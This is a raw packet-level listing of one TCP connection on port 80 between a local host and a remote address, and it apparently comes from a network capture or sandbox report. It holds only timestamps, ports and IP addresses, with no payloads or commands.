Sep 10, 2024 19:36:10.109555006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109561920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109580040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109584093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109591007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109601021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109606981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109611988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109623909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109633923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109639883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109646082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109657049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109663010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109668016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109679937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109689951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109697104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109700918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109713078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109723091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109724045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109735012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109736919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109745979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.109759092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.109786034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189220905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189251900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189302921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189336061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189352036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189384937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189384937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189388037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189393997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189441919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189450026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189501047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189502001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189533949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189549923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189565897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189584017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189599991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189614058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189630985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189649105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189662933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189680099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189694881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189716101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189721107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189734936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189747095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189749956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189764023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189783096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189796925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189809084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189819098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189827919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189853907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189872026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189898968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189908981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189918041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189935923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189941883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189958096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189960003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189968109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189979076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.189989090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.189990997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190011024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190037966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190092087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190104008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190114021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190124035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190134048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190135002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190144062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190154076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190155983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190166950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190176964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190188885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190220118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190284014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190294027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190304995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190315008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190324068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190325975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190334082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190345049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190345049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190356970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190373898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190402985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190412998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190423965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190433979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190444946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190454006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190471888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190494061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190654039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190665007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190675974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190692902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190699100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190706968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190717936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190722942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190728903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190746069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190754890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190757036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190771103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190788984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190809011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190810919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190821886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190833092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190844059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190850019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190855026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.190881968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.190903902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.195094109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.195147991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.195147991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.195195913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.195204020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.195235968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.195249081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.195270061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.195281029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.195302010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.195316076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.195336103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.195348978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.195368052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.195382118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.195408106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.195432901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.195466042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.195478916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.195498943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.195511103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.195534945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.195544004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.195580006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.370554924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.378052950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502222061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502233982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502244949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502377987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.502382040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502393961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502405882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502418041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502433062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502443075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.502444029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502458096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502477884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.502477884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.502505064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.502789021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502799988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502810001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502821922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.502845049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.502861023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.502883911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538456917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538481951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538491964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538541079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538543940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538558006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538564920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538569927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538605928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538614035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538615942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538625002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538644075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538655996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538660049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538678885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538686991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538697004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538707972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538711071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538719893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538727045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538752079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538763046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538774014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538775921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538784027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538794041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538805962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538808107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538825989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538834095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538837910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538847923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538851023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538861990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538872957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538880110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538882971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538897991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538909912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.538909912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538922071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.538952112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.539000988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.539012909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.539024115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.539042950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.539068937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575297117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575356960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575367928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575393915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575406075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575409889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575417042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575440884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575452089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575453043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575460911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575465918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575504065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575547934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575557947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575589895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575589895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575608969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575700998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575711966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575723886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575733900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575745106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575752974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575756073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575767994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575781107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575798988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575803041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575810909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575819016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575845003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575854063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575866938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575879097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575891972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575891972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575907946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575922012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.575962067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.575973988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576008081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576050997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576062918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576073885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576092958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576119900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576122999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576134920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576145887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576159000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576160908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576188087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576209068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576317072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576327085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576338053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576354980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576364994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576365948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576381922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576396942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576407909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576416016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576427937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576437950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576442003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576452017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576462030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576462984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576474905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576478958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576486111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576495886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576504946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576528072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576536894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576553106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576595068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576598883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576611042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576637983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576648951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576667070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576678038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576689959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576703072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576706886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576724052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576738119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.576746941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.576782942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.611568928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611588955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611609936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611620903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611633062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611651897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611660004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611669064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611680984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611691952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611700058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.611704111 CEST	80	49707	45.152.113.10	192.168.2.5
